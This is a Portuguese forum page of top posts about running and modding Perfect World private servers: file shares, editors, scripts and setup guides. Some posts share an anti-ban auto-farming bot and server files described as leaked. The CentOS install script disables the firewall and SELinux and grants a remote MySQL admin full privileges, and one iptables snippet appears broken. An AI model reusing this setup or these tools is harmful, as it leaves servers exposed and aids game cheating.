Ir para conteúdo
Facebook Whatsapp Twitter Youtube

Os Melhores

Conteúdo popular

Mostrando conteúdo com a maior reputação desde 12/23/25 em Posts

  1. 5 pontos
  2. Pessoal, baixem ai a 1.7.3v344 Server: [Conteúdo Oculto] Client: [Conteúdo Oculto] EN cliente [Conteúdo Oculto] perfect world 174 br Sistema Operacional: Debian 12 Script de Instalação: [Conteúdo Oculto]
    4 pontos
  3. Sabe aqueles PW que coloca uma aréa de farme e ao redor coloca estaca de madeira ou algum mob imune pra evitar o auto cultivo? Então, tava de bobeira no Discord com uns amigos e resolvi fazer um bot para melhorar o auto-cultivo? Não espere muito, fiz todo cagado para uso pessoal e amigos, mas vou compartilhar com vocês aqui 😄 Funções (que eu lembro) Ignora o Mob que você quiser Pega moedas/itens do chão ao matar Repara automaticamente o seu set (função do inventário) Autopot Se morrer volta pro mesmo lugar que estava (as vezes não funciona xisde) Aviso no chat(qualquer um) toda vez que encontra o mob indesejado (você pode desativar (pra não levar ban) isso no settings.ini) Um txt cheio de logs pra você ver oque rolou Atalhos (que eu lembro) F1 = F1 ou macro F2 = Coloque a skill de pegar itens do chão F3 = Coloque o boticário que você vai usar (HP) F4 = Coloque o boticário que você vai usar (MP) Configure o mob a ser ignorado na imagem include/estaca-de-madeira.png Fora isso, não precisa de configuração, basta abrir o jogo e deixa na tela do PW. Eu gravei isso para ajudar meu amigo na instalação/uso: [Conteúdo Oculto] (ignore as configurações, era de um versão antiga) Download: bot-pw.zip
    4 pontos
  4. desculpe pelo problema do tópico. Eu só quero compartilhar essa ferramenta para que vocês possam gerar cores gradientes sem instalar o delphi community edition. muito simples de usar e direto. os valores "BarColor" "BarcolorStop" devem ser copiados no Resource Tuner fórmula usada: Valor decimal=(B×256²)+(G×256)+R view: ColorPicker.7z
    4 pontos
  5. O Editor de NW (Nation War) para Perfect World é uma ferramenta poderosa que permite aos jogadores e administradores de servidores personalizar os mapas da famosa Guerra da Dinastia, uma das batalhas em larga escala mais emocionantes do jogo Perfect World. Com este editor, é possível alterar a configuração territorial, ajustando o posicionamento de bases, modificando terrenos e criando novas dinâmicas de combate. Esse editor oferece uma interface intuitiva para que até mesmo aqueles com pouca experiência possam manipular os mapas, permitindo ajustes nos pontos de interesse, tais como portões, torres e áreas estratégicas. Além disso, o Editor de NW facilita a criação de novos cenários para manter as guerras dinâmicas e desafiadoras, proporcionando uma experiência sempre renovada aos jogadores. Seja para modificar pequenos detalhes ou criar uma guerra completamente nova, o Editor de NW é a ferramenta essencial para quem deseja explorar todo o potencial tático e criativo de Perfect World nas batalhas territoriais, transformando as guerras de nação em um evento ainda mais épico. Download: Clique Aqui
    3 pontos
  6. Baixe o Resource Tuner: [Conteúdo Oculto] Depois de baixado, abra-o e clique em Arquivo > Abrir Arquivo > launcher.exe Uma vez aberto, você verá uma série de coisas no lado esquerdo do programa. Vá em frente e abra RC Data e você verá uma lista completa de novas pastas que são necessárias para modificar o lançador. Compreendendo a Estrutura do Lançador: TBACKFORM: Neutral ( Contém o plano de fundo principal do seu lançador. ) Tipo de Arquivo: PNG Você pode salvar isso ou substituí-lo por qualquer coisa que desejar, apenas certifique-se também de alterar a propriedade ClientWidth e ClientHeight. (Backform: TBackForm & Img:TImage) TlauncherMain:Neutral contém todos os botões que você precisa modificar se quiser modificar tudo sozinho. Isso também contém o texto ou registros do patcher quando está atualizando coisas dentro do cliente. Dependendo da versão que você tem, isso pode variar. Eu recomendo usar uma versão mais antiga do lançador do Alex para que isso funcione no seu. Porque tenho visto versões mais recentes com proteção contra modificações. Opcional: se você quiser alterar os valores de cor para o que desejar, precisará de um ambiente de desenvolvimento integrado (IDE) do Delphi chamado Embarcadero RADStudio. É gratuito e você pode instalá-lo sozinho. Depois de entrar no RADStudio, crie um novo formulário VCL e adicione apenas um rótulo ou algo que você possa modificar suas cores. Certifique-se de clicar duas vezes na caixa de texto de cor para poder definir uma cor personalizada que você deseja. Agora vá para o projeto e construa o projeto para que você possa compilar o formulário que acabou de fazer e abri-lo em outra instância do ResourceTuner. Agora copie o que você tem na guia de cor, geralmente é um número de 7 dígitos que representa a cor selecionada. Isso é bastante útil para a barra de progresso, já que a cor da barra de progresso pode ser alterada. Depois de ter feito tudo isso, basta salvar e aproveitar os resultados. Exemplo do meu trabalho: Coisas a observar ao preparar os gráficos: O tipo de arquivo do plano de fundo principal é PNG (ele suporta transparência, é claro). Os botões e o plano de fundo do seu registro de texto são BMP, então você precisa convertê-lo para BMP. Certifique-se de que não tenha nenhuma transparência, caso contrário, ficará estranho.
    3 pontos
  7. Espelho: [Conteúdo Oculto] VM .ova (Ubunru 20) + arquivos do servidor separadamente. Upd: Adicionado patch para o cliente com serviços remotos) (interfaces.pck, surfaces.pck, elementclient.exe, 155.dll, 155 dll source)
    3 pontos
  8. Bom galera, estou compartilhando os files que nosso querido @miguelzera disponibilizou um tempo atrás. Arquivo 1 – script de instalação CentOS7 Arquivo 2 – PWServer, Cliente [email protected], libs e SQL Arquivo 3 – Tutorial CPW Arquivo 4 – Tutorial iptables Vídeo instalando pacotes centOS7 Créditos @miguelzera Assim que tiver tempo posto um vídeo. Imagem do vbox pronta, só importar para seu vbox. Acesso ao phpmyadmin – [Conteúdo Oculto] Senhas 123456789 Contem registro básico [Conteúdo Oculto] Download ova Download Cliente
    3 pontos
  9. Salve, hoje venho compartilhar este projeto feito em nodejs com os entusiastas da programação O projeto ainda estava no começo, mas a base e muitas funções já estão pronta, tais como; Login Cadastro (com ou sem confirmação no e-mail) Recuperar conta Reenviar e-mail de ativação Template dos e-mails Dashboard cru Página de doação (parei aqui) Para rodar o painel é bastante simples; Instale o node NodeJS >=20.00 - [Conteúdo Oculto] Crie um banco de dados e importe o config/tables.sql para o mesmo Configure o config/settings.js com as informações dos bancos de dados, url do cors, porta do aplicação, hash etc Pronto agora é só instalar as dependências e iniciar a aplicação npm install npm start Se você fez tudo certo você deve ver uma mensagem de sucesso no terminal informando que a aplicação foi iniciado na porta definida Download: node-js.zip
    3 pontos
  10. Dear All Brazilian Friends, I share this perfect world panel, actually this panel base from @tomirons code. Download Link: [Conteúdo Oculto] NOTE: Still have bugs, try to fix by yourself Demo: [Conteúdo Oculto]
    3 pontos
  11. SysChat Este script estava a venda no meu site, mas decidir parar de vender para compartilhar aqui no fórum para os membros VIPs Mas afinal, oque quiabos é syschat? Sabe aqueles avisos no chat: Fulano de tal refinou o item tal pra +7. Fulano de tal iniciou sua jornada no servidor tal? então, eu fui um dos (se não O primeiro) a criar isto em 2020-2021 Em resumo, SysChat é um simples script que monitora em tempo real todos os logs do seu servidor e anúncia alguns eventos no chat do jogo (se você quiser) Segue a lista de as funções atuais: Aqui um print de como é as configurações: A instalação é bem simples Faça upload da pasta syschat para seu servidor e der permissão Abra o arquivo script.sh e configure o caminho do seu log Abra o arquivo config.php e configure as portas do seu servidor e os avisos que deseja ativar/desativar e suas respectivas mensagens Pronto, agora bastar iniciar o script com ./start.sh! Você pode usar cores personalizadas nos textos (em alguns canais não funciona) {cor-1} = branco {cor-2} = preto {cor-3} = verde {cor-4} = amarelo {cor-5} = azul {cor-6} = rosa {cor-7} = roxo {cor-8} = vermelho {cor-9} = azul ciano {cor-10} = preto mais escuro Exemplo de uso em um texto: {player} refinou {cor-4}{item} para {cor-3}+{level} Canais: 0 = Geral 1 = Global 2 = Grupo 3 = clã 6 = Laranja (Chat Topo) 7 = Comercio 9 = Sistema 10 = Azul (Chat Topo) 11 = Vermelho 12 = Laranja 13 = Branco 14 = Branco 15 = Interservidor Exemplo do script rodando no servidor: Limitações que eu lembro: Na parte de aviso de refino/leilão o nome do item é puxado do pwdatabase, ou seja itens criados manualmente (id não existente no pwdatabase) não irá funcionar Na parte de aviso do refino/leilão não é linkado o item e nem aparece as estrelinhas ☆☆☆ Isso pode ser resolvido mas precisa exporta os itens usando o RAE e adptar o syschat.php Funciona bem até a 1.5.5 – Não sei se funciona nas versões mais novas O script foi desenvolvido em 2021 e desde então não foram implementadas novas soluções ou funções adicionais. Se você quiser criar uma nova versão para este projeto, sua contribuição será bem-vinda. Download: (somente membros VIP’s podem baixar) syschat.zip
    3 pontos
  12. É editor do Precinct.sev. Ele edita o arquivo Precinct.sev, que responde para o player de respawn. Editor pode Abrir / salvar / editar 6/7 versões de arquivo precinct.sev. Converter de 6 para 7 ou 7 para 6. Mostrar zonas e respawn lugar no mapa. Zonas de desenho e locais de respawn em mapas Múltiplas zonas / pontos de eliminação. obter coordenadas do jogo com Control + A ou outras combinações. Suporta Inglês. Precinct.sev editor.rar
    3 pontos
  13. Há algum tempo eu venho estudando sobre os octets do PW (hex strings) para adicionar os detalhes dos itens no visualizador de inventário do meu painel. Inclusive eu achei esses 2 pdfs que estão anexados nesse post perdidos por aí (Além de outros projetos relacionados), o que me ajudou bastante no começo. E apartir disso eu construi esse projeto em php chamado PWHexParser que recebe um octet de um item, o tipo do item e retorna um json como resultado, exemplos: Lendo octets de uma roupa: <?php require __DIR__ . '/../vendor/autoload.php'; $decoder = new App\Decoder(); $decoder->setItemType('Fashion'); // Weapon, Armor, Charm, Jewelry, Flight, Card... $decoder->sethexString('1e00000092470100010a620072007500630065000000'); //Mandarin Silk Gown $result = $decoder->decodeHexString(); header('Content-Type: application/json'); echo json_encode($result, JSON_PRETTY_PRINT); Resultado: { "level_req": 30, "color": 18322, "gender": 1, "creator_type": 1, "name_length": 5, "name": "bruce", "color_mask": 0 } Adivinhando o tipo do item (arma nesse caso): <?php require __DIR__ . '/../vendor/autoload.php'; $mask = 1; // Weapon $decoder = new App\Decoder(); $decoder->guessItemType($mask); $decoder->sethexString('5a00ff001001000031000000b4610000786900002c00040a4200720075006300650000000000090000000b00000000000000930200009b0500000000000000000000180000000000604000000000010000000000000003000000114500009200000001000000f02300004d000000cf2500000e000000'); $result = $decoder->decodeHexString(); header('Content-Type: application/json'); echo json_encode($result, JSON_PRETTY_PRINT); Resultado: { "level": 90, "class": 255, "strength": 272, "vitality": 0, "dexterity": 49, "magic": 0, "min_durability": 250, "max_durability": 270, "item_type": 44, "item_flag": 4, "name_length": 10, "name": "Bruce", "ranged_type": 0, "weapon_type": 9, "weapon_grade": 11, "ammunition_type": 0, "min_physical_damage": 659, "max_physical_damage": 1435, "min_magic_damage": 0, "max_magic_damage": 0, "attack_rate": 0.83, "attack_range": 3.5, "minimum_range": 0, "sockets_count": 1, "sockets": [ 0 ], "addons_count": 3, "addons": { "special_addons": [ { "id": 1297, "value": 146, "level": 1 } ], "normal_addons": [ { "id": 1008, "value": 77 }, { "id": 1487, "value": 14 } ], "refine_addons": [ ], "socket_addons": [ ] } } O projeto está disponível no Github e também é possível instalar via composer: Ele não está 100% finalizado ainda, mas já da pra utilizar em algum projeto de seu interesse. :) Hex Data Guide v2T2.pdf Hex Code Guide By Drakaer.pdf
    3 pontos
  14. Eu fiz esses dias para um amigo, vou deixar o inicio do código para você. Criei um bash que leia o arquivo de log “/logs/world2.chat” esse arquivo registra as mensagens do jogo…. o tail abaixo acompanha a leitura do arquivo e envia para um PHP (essa parte peguei do rank que tem por ai), adicionei o filtro chl=1 significa que vai pegar apenas mensagens do GLOBAL você pode alterar para outros facilmente lendo log. #!/bin/bash tail -f -n0 /home/logs/world2.chat | grep --line-buffered 'chl=1 msg=' | while read LINE0 do php seu_arquivo_novo_aqui.php "${LINE0}" done Substitua o seu_arquivo_novo_aqui.php pelo nome que der a seu file php que vai receber a linha como parâmetro… Ja no php vou deixar as variáveis pegando o ID do personagem e a mensagem enviada. <?php $user_id = intval(explode('=',$argv[1])[1]); $msg = explode('=',$argv[1])[3]; ?> Pronto agora você tem a base simples pegando a mensagem e o ID do personagem! Para enviar um item ou uma mensagem usando a API – PW é coisa simples tem muitos exemplos. Vou deixar apenas a base para você decidir o que quer fazer. Nota extra: A mensagem vem em base64 eu não recomendo abrir ela mesmo que seja simples exige força computacional voce simplesmente pode comparar com IF ou fazer um SWITCH com bases64 e gastar menos esforço.
    3 pontos
  15. Abre arquivos .pck até a versão 1.5.5 Créditos : by Jolan PCK_Module_BY_BETO.rar
    2 pontos
  16. Skin 1 Skin 2 Skin 3 Download: Skin 1 patcher.zip Skin 2 patcher.zip Skin 3 patcher.zip
    2 pontos
  17. Passo 1: Baixar arquivo "libskill.so" Faça o upload do arquivo "libskill.so" para a pasta "/lib" no seu host. Certifique-se de que o arquivo esteja na localização correta. Passo 2: Modificar o arquivo "start.sh" Abra o arquivo "start.sh" e localize a linha que inicia os mapas. Substitua essa linha pelo seguinte trecho de código: LD_PRELOAD=libskill.so ./gs gs01 gs.conf gmserver.conf gsalias.conf is61 > /home/logs/gsmaps.log & Passo 3: "script.lua" Adicionar o "script.lua " dentro da pasta "home/gamed", Adicionar o "GS" dentro da pasta "home/gamed", "Criar uma pasta com nome var " dentro da pasta "home/gamed", Após seguir esses passos, o Lua na versão 1.5.5 será funcional libskill.so script.lua gs.7z
    2 pontos
  18. Sistema de Mensagem Automática - Exclusivo e Configurável Características principais: Mensagens aleatórias personalizáveis Agendamento de mensagens em horários específicos Mensagens com cores customizáveis Totalmente configurável ao seu gosto Como usar: Abra o arquivo "guia.txt" e siga o tutorial passo a passo. Suporte: Qualquer dúvida, deixem neste post que estarei aqui para ajudar! Espero que gostem do sistema! 😊 [Conteúdo Oculto]
    2 pontos
  19. Bom, como devem saber, esses arquivos ai já vazaram tem um bom tempo e até hoje eu vejo gente querendo tirar vantagem e cobrar por esses arquivos ou para alterar algo neles. Tudo que você vai precisar substituir dos arquivos da Server Side: GS e GLINKD. Tudo que você vai precisar substituir dos arquivos do Client Side: elementclient.exe e adicionar o arquivo 155.dll na pasta element. Detalhes importantes ! Para funcionamento dos atalhos no inventário é necessário que você puxe os ícones e chame as funções na sua interfaces.pck ou se preferir pode usar uma interfaces que já tenha isso, todas são a mesma coisa só tem alterações visuais em algumas. Para funcionamento da lojinha OFF, é necessário adicionar o botão também na interfaces.pck com a função e um item no inventário com o ID: 65532. Possui mais algumas funções também como: Ganhar chi ao meditar, reset de DG pelo botão, nick colorido entre outros ai, faz tempo que não uso esses arquivos então não me recordo bem de todas as funções que tem. No mais é isso, caso tenha alguma dúvida ou eu tenha esquecido de algo, me corrige ai ou me chama ai no pv ou no discord: ScroL#6530 FILES 155 COM ATALHOS E MAIS.rar
    2 pontos
  20. NpcGen Editor by Luka 1.2.6~1.7.6.rar
    2 pontos
  21. Caso esse limite seja ultrapassado, bloqueia o HWID (identificação única do hardware) e registra informações sobre o IP, quantidade de pacotes enviados e a data Instale o iptables-persistent e o pacote mysql-client sudo apt-get update sudo apt-get install iptables-persistent mysql-client Carregue o módulo xt_recent sudo modprobe xt_recent Regras do iptables sudo iptables -N HWID_BLOCK sudo iptables -A HWID_BLOCK -m recent --name HWID --set --mask 255.255.255.255 --rsource sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 86400 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 sudo iptables -A INPUT -p tcp --dport 29000 -m connlimit --connlimit-above 25 --connlimit-mask 0 -j HWID_BLOCK sudo iptables-save | sudo tee /etc/iptables/rules.v4 Crie um script para salvar as informações no MySQL. Por exemplo, crie o arquivo /usr/local/bin/save_to_mysql.sh com o seguinte conteúdo Não se esqueça de criar um banco de dados chamado 'connections' #!/bin/bash IP_ADDRESS=$1 PACKETS=$2 DATE=$(date +"%Y-%m-%d %H:%M:%S") mysql -u <username> -p<password> -e "INSERT INTO connections (ip_address, packets, date) VALUES ('$IP_ADDRESS', '$PACKETS', '$DATE');" <database> Dê permissão de execução ao script sudo chmod +x /usr/local/bin/save_to_mysql.sh Adicione uma regra no iptables para chamar o script quando o limite de conexões for excedido. No exemplo abaixo, assumimos que o script está localizado em /usr/local/bin/save_to_mysql.sh: sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 0 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 --nflog-prefix "iptables-save: " --nflog-group 1 --nflog-range 64 --nflog-threshold 10 sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 0 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 --nflog-prefix "iptables-save: " --nflog-group 1 --nflog-range 64 --nflog-threshold 10 --nflog-cprange 128 --nflog
    2 pontos
  22. #!/bin/bash # Cores para as mensagens RED='\033[0;31m' GREEN='\033[0;32m' NC='\033[0m' # No Color print_error() { echo -e "${RED}Erro:${NC} $1" >&2 exit 1 } print_success() { echo -e "${GREEN}Sucesso:${NC} $1" } # Função para gerar senha aleatória generate_password() { tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w "${1:-12}" | head -n 1 } # Mensagem de início echo -e "${GREEN}? Iniciando instalacao...${NC}" # Verificar se está sendo executado como superusuário if [ "$EUID" -ne 0 ]; then echo -e "${RED}Este script precisa de permissões de superusuário para ser executado.${NC}" sudo "$0" "$@" || exit $? exit 0 fi # Instalações básicas echo -e "${GREEN}? Instalando pacotes basicos...${NC}" sudo yum -y install mariadb-server mariadb-libs.i686 httpd epel-release yum-utils cronie-noanacron ca-certificates > /dev/null 2>&1 || { print_error "Falha ao instalar pacotes basicos."; } print_success "Pacotes basicos instalados com sucesso." # Iniciar e habilitar serviços echo -e "${GREEN}? Iniciando e habilitando servicos...${NC}" sudo systemctl start mariadb && sudo systemctl enable mariadb > /dev/null 2>&1 || print_error "Falha ao iniciar e habilitar o MariaDB." sudo systemctl start httpd && sudo systemctl enable httpd > /dev/null 2>&1 || print_error "Falha ao iniciar e habilitar o Apache." print_success "Servicos iniciados e habilitados com sucesso." # Executar a configuracao de seguranca do MySQL echo -e "${GREEN}? Executando configuracao de seguranca do MySQL...${NC}" echo -e "\nn\n$(generate_password)\n$(generate_password)\ny\ny\ny\ny\n" | sudo mysql_secure_installation > /dev/null 2>&1 || print_error "Falha ao executar a configuracao de seguranca do MySQL." print_success "Configuracao de seguranca do MySQL concluida com sucesso." # Criar usuario com permissoes de superusuario no MariaDB echo -e "${GREEN}? Criando usuario com permissoes no MariaDB...${NC}" MYSQL_USER="admin" MYSQL_USER_PASSWORD=$(generate_password) sudo mysql -e "CREATE USER '${MYSQL_USER}'@'%' IDENTIFIED BY '${MYSQL_USER_PASSWORD}';" > /dev/null 2>&1 || print_error "Falha ao criar usuario no MariaDB." sudo mysql -e "GRANT ALL PRIVILEGES ON *.* TO '${MYSQL_USER}'@'%' WITH GRANT OPTION;" > /dev/null 2>&1 || print_error "Falha ao conceder permissoes ao usuario no MariaDB." print_success "Usuario criado com sucesso e permissoes concedidas." # Salvar senha do usuário em um arquivo no diretório raiz echo -e "${GREEN}? Salvando credenciais do MariaDB...${NC}" echo "Usuario: ${MYSQL_USER}" > ~/mysql_user.txt echo "Senha: ${MYSQL_USER_PASSWORD}" >> ~/mysql_user.txt print_success "Credenciais do MariaDB salvas em ~/mysql_user.txt." # Instalar PHP 7.4 e extensoes echo -e "${GREEN}? Instalando PHP 7.4 e extensoes...${NC}" sudo yum -y install [Conteúdo Oculto] > /dev/null 2>&1 || print_error "Falha ao instalar o repositorio Remi." sudo yum-config-manager --enable remi-php74 > /dev/null 2>&1 || print_error "Falha ao ativar o repositorio Remi PHP 7.4." sudo yum -y install php php-common php-opcache php-mcrypt php-cli php-gd php-curl php-mysqlnd php-zip php-devel php-mbstring php-pear php-bcmath php-json > /dev/null 2>&1 || print_error "Falha ao instalar PHP e extensoes." sudo systemctl restart httpd > /dev/null 2>&1 || print_error "Falha ao reiniciar o Apache apos a instalacao do PHP." print_success "PHP 7.4 e extensoes instalados com sucesso." # Instalar Java 1.8 echo -e "${GREEN}? Instalando Java 1.8...${NC}" sudo yum -y install java-1.8.0-openjdk.x86_64 > /dev/null 2>&1 || print_error "Falha ao instalar Java 1.8." print_success "Java 1.8 instalado com sucesso." # Instalar pacotes adicionais echo -e "${GREEN}? Instalando pacotes adicionais...${NC}" sudo yum -y install pcre-devel libstdc++.i686 libstdc++-devel.i686 libxml2-devel libxml2 libstdc++-static compat-libstdc++-33.x86_64 > /dev/null 2>&1 || print_error "Falha ao instalar pacotes adicionais." print_success "Pacotes adicionais instalados com sucesso." # Configurações adicionais echo -e "${GREEN}? Realizando configuracoes adicionais...${NC}" sudo systemctl disable firewalld && sudo systemctl stop firewalld > /dev/null 2>&1 || print_error "Falha ao desativar e parar firewalld." sudo sed -ri 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config > /dev/null 2>&1 || print_error "Falha ao desativar SELinux." print_success "Configuracoes adicionais aplicadas com sucesso." # Atualizar o sistema e instalar pacotes extras echo -e "${GREEN}? Atualizando o sistema e instalando pacotes extras...${NC}" sudo yum -y update > /dev/null 2>&1 || print_error "Falha ao atualizar o sistema." sudo yum -y install mono mc htop curl wget p7zip gdb ipset perl-XML-DOM make gcc gcc-c++ openssl-devel readline-devel > /dev/null 2>&1 || print_error "Falha ao instalar pacotes extras." print_success "Sistema atualizado e pacotes extras instalados com sucesso." # Configurar local echo -e "${GREEN}? Configurando local...${NC}" sudo localectl set-locale LANG=en_US.UTF-8 > /dev/null 2>&1 || print_error "Falha ao configurar o local." print_success "Local configurado com sucesso." # Mensagem de conclusão echo -e "${GREEN}? instalacao concluída com sucesso. As credenciais do MariaDB foram salvas em ~/mysql_user.txt.${NC}" echo -e "${GREEN}Este script foi desenvolvido por [DISCORD master9028].${NC}" installcentos7.sh
    2 pontos
  23. Olá todos, vim compartilhar com vocês hoje, um template que eu comprei há mais ou menos 1 ano e acabei não utilizando e também não tenho pretensão de utilizar. Esse template está no formato de html5 ( html, css e js), e está como uma tela em branco, você pode ajustar da maneira que deseja. Conteúdo do arquivo: Capturas de Tela: Baixar: Granage Template.rar
    2 pontos
  24. Informações: Versão compatível: 1.5.5v156 Essa lib foi desenvolvida por um amigo e aprimorada por mim, para que pudesse controlar os lances e batalhas de Guerra territoriais. Eu deixei todas as funções o mais didático possível, para que até mesmo leigos possam alterar as funções sem prejudicar a funcionalidade. Todos os comentários que fiz no arquivo script.lua, ajudará você a modificar a ferramenta. Você mesmo pode melhorar as funções como por exemplo, horário de inicio de lances, final e batalha. Você pode modificar para que, cada dia inicie em um horário diferente, basta retornar o valor correto de result. Como exemplo: function BidBeginTime( now ) --Inicio dos Lances -- Constantes local result = BattleManagerLogic(now) local hour = 12 -- Hora de Inicio local minuter = 1 -- Minutos (se for antes de 10 minutos, não coloque 05, coloque apenas 5) -- Variáveis if result == 0 then -- Se for domingo, os lances iniciaram ás 15:10 hour = 15 minuter = 10 end mylogfunc("BidBeginTime: now = "..now) mylogfunc("BidBeginTime: DAY = "..result) return result*DAY + hour*HOUR + minuter*MIN end Vai da imaginação de vocês, isso é apenas um exemplo. Instalação: - Extraia os arquivos nas referentes pastas ( já vai tudo separado ). - Adicione no seu ./start.sh o seguinte código quando iniciar gdeliveryd: cd /PWServer/gdeliveryd; LD_PRELOAD=twman.so ./gdeliveryd gamesys.conf > /PWServer/logs/gdeliveryd.log & - Configure o arquivo script.lua e pronto! Reinicie totalmente o jogo e basta aguardar o horário de inicio para os testes. Obs: Nunca adicione algo dessa forma no servidor de produção, sempre faça testes antes. TwManager.rar
    2 pontos
  25. Com esse editor você conseguirá editar os pontos de teleporte e seus nomes, lembre-se que se for criar um novo ponto deverá adiciona-lo na quest do atlas geográfico. World Targets Editor By Luka.rar
    2 pontos
  26. Editor de ícone em inglês! PWIconListEditor(Eng).7z
    2 pontos
  27. Esse sistema foi feito pelo Leo B2host é só criar um cron em php e seja feliz. <?php /** ** Programado por Leandro Hermes - [Conteúdo Oculto] **/ $config = array ( // Configs 'host' => '127.0.0.1', // Host 'port' => '29300', // Port // Chat ID: [0] - Common; [1] - World; [2] - Group; [3] - Faction; // Chat ID: [4] - Private; [6] - Info; [7] - TRADE; [9] - System; [10]- NoChat; [12] - Horn 'chatid1' => '9', // Chat ID #1 // Role ID in Message to Chat 'roleid1' => '', // Role ID #1 | You can empty ID | ID -1 = : // Message to Chat 'message1' => "mensagem que sera falado no chat GM" , // Message #1 | No Message - Do not go ); function socketsend($data, $ip,$port) { if(!@$sock=socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) {throw new Exception("Erro ao conectar no servidor do pw"); exit();} socket_connect($sock,$ip,$port); socket_set_block($sock); socket_send($sock, $data, 8192, 0); socket_recv($sock, $buf, 8192, 0); socket_set_nonblock($sock); socket_close($sock); return $buf; } function cuint($data) { if($data < 64) return strrev(pack("C", $data)); else if($data < 16384) return strrev(pack("S", ($data | 0x8000))); else if($data < 536870912) return strrev(pack("I", ($data | 0xC0000000))); return strrev(pack("c", -32) . pack("i", $data)); } function PackString($data) { $data = iconv("UTF-8", "UTF-16LE", $data); return cuint(strlen($data)).$data; } function PackOctet($data) { $data = pack("H*", $data); return cuint(strlen($data)).$data; } function gameChat($user,$msg,$chan,$host,$port) { $System = pack("C*",$chan); $Emotion = pack("C*",0); $Char = pack("N*",$user); $Message = PackString($msg); $data = PackOctet(''); $Packet = $System.$Emotion.$Char.$Message.$data; $Data = cuint(120).cuint(strlen($Packet)).$Packet; socketsend($Data, $host,$port); } // comment out what you dont use gameChat($config['roleid1'],$config['message1'],$config['chatid1'],$config['host'], $config['port']); ?> avisoBroadcast-unico.php
    2 pontos
  28. Olá pessoal! Estou disponibilizando o PWAdmin 4.5 em sua versão original e sem modificações. Recebi informações de que alguém estava distribuindo o PWAdmin 4.5 com um trojan, então decidi compartilhar a versão limpa aqui. Por favor, tenham cuidado ao baixar qualquer software pela internet. Fiquem atentos à procedência dos arquivos que vocês baixam. Segurança em primeiro lugar! pwAdmin-cliente.7z pwadmin-servidor.7z
    1 ponto
  29. Coisas importantes na source Pode ser compilado para sistemas 32 ou 64 bits você vai ter que fazer ajustes no makefile e resolver os problemas que aparecerem. PACKAGE’S LIST : ( Estou usando o Ubuntu-20.04 (source 152), os nomes dos packages ou comandos podem mudar de acordo com a Distro que você está usando ). Os pacotes são os mesmo usados para rodar o servidor, adicionando somente alguns para fins de compilação. sudo apt-get install build-essential sudo apt-get install gcc-multilib sudo apt-get install g++-multilib sudo apt-get install dos2unix sudo apt-get install default-jdk sudo apt-get install libxml-dom-perl sudo apt-get install libxml2-dev sudo apt-get install libpcre3-dev sudo apt-get install libssl-dev sudo apt-get install libcrypto++-dev sudo apt-get install ant sudo apt-get install libsaxonhe-java sudo apt-get install libxslt1-dev sudo apt-get install libreadline-dev sudo apt-get install python sudo dpkg --add-architecture i386 sudo apt-get install libssl1.0-dev:i386 download the “libssl1.0.0_1” package wget [Conteúdo Oculto] sudo dpkg -i *.deb sudo apt-get update sudo apt-get upgrade apt --fix-broken install sudo apt-get install zlib1g:i386 sudo apt-get install libncurses5:i386 sudo apt-get install libssl-dev:i386 sudo apt-get install libxml2:i386 sudo apt-get install libpcre3-dev:i386 sudo apt-get install libxml2-dev:i386 sudo apt-get install libc6:i386 sudo apt-get install libstdc++6:i386 sudo apt-get update sudo apt-get upgrade Primeiro de tudo converter os arquivos para UNIX : pwsource/ = ./fixsrc.sh ( essa é minha pasta raiz “pwsource” você deve colacar o script dentro da sua pasta raiz ) #!/bin/bash find . -name "*.h" -exec dos2unix {} \; find . -name "*.hpp" -exec dos2unix {} \; find . -name "*.hxx" -exec dos2unix {} \; find . -name "*.cpp" -exec dos2unix {} \; find . -name "*.cxx" -exec dos2unix {} \; find . -name "Makefile" -exec dos2unix {} \; chmod -R 0755 . ; chmod -R 0755 * chown -R root:root ; chown -R root:root * share : pasta e arquivos = common , io , mk, perf, rpc, rpcgen, storage criar um link dinâmico para a pasta “cnet” ou copiar diretamente os arquivos. cnet : gfaction/operations/ = ./opgen.pl opgen.xml ( cria arquivos protocol’s) cnet/ = ./rpcgen rpcalls.xml ( cria arquivos protocol’s ) gamed/ = cria static lib libgsPro2.a gdbclient/ = cria static lib libdbCli.a logclient/ = cria static lib liblogCli.a io/ = cria static lib libgsio.a storage/ = cria static lib libdb.a ( necessário instalar o Berkeley DB 4.2 ( por algum motivo as pessoas não usam essa static lib para compilar a gs, outros jogos da Wanmei usam isso quando compila a gs. ) ) gacd/ = cria gacd gamedbd/ = cria gamedbd gauthd/ = cria gauthd substitui a authd feita em java . gdeliveryd/ = cria gdeliveryd gfaction/ = cria gfaction glinkd/ = cria glinkd logservice/ = cria logservice uniquenamed/ = cria uniquenamed gacdclient/ = ???? gclient/ = ???? cskill : skill/ = cria static lib libskill.a gen/ = ant compile cria skilleditor ( alterar a versão do java no “build.xml” para sua versão instalada) gen/ = ant -buildfile build.xml cria gen.jar ( skilleditor e gen.jar trabalham juntos , em teoria conecta num banco de dados) gen/ = java -jar gen.jar ( executa o programa ) Obs. : Existe uma relação desse programa com o rpcalls.xml , existe uma função no xmlcoder.pl para verificar a versão do rpcalls.xml ele tenta acessar o bando de dados. iolib : copiar as statics libs ( arquivos *.a ) da pasta “cnet” para a “iolib”. cgame: libcommon/ = cria static lib libcommon. a ( não é necessário copiar para “iolib”) cgame/ = cria gs e a dynamic lib libtask.so Extra: Não tem uma utilidade real, porém o arquivo “rpcalls.xsl” serve para gerar uma versão do “rpcalls.xml” em “.html” Gera um HTML com link para os arquivos. cnet/ = java -jar /usr/share/java/Saxon-HE.jar -s:rpcalls.xml -xsl:rpcalls.xsl -o:nome.html cria nome.html (“nome” é o nome do arquivo html, você pode usar qualquer um) OBS. : A pasta “share” existem muitos programas em java, porém não são necessários para compilar a source mas devem ter alguma utilidade, não me aprofundei mais fiquem a vontade para descobrir suas funcionalidades.
    1 ponto
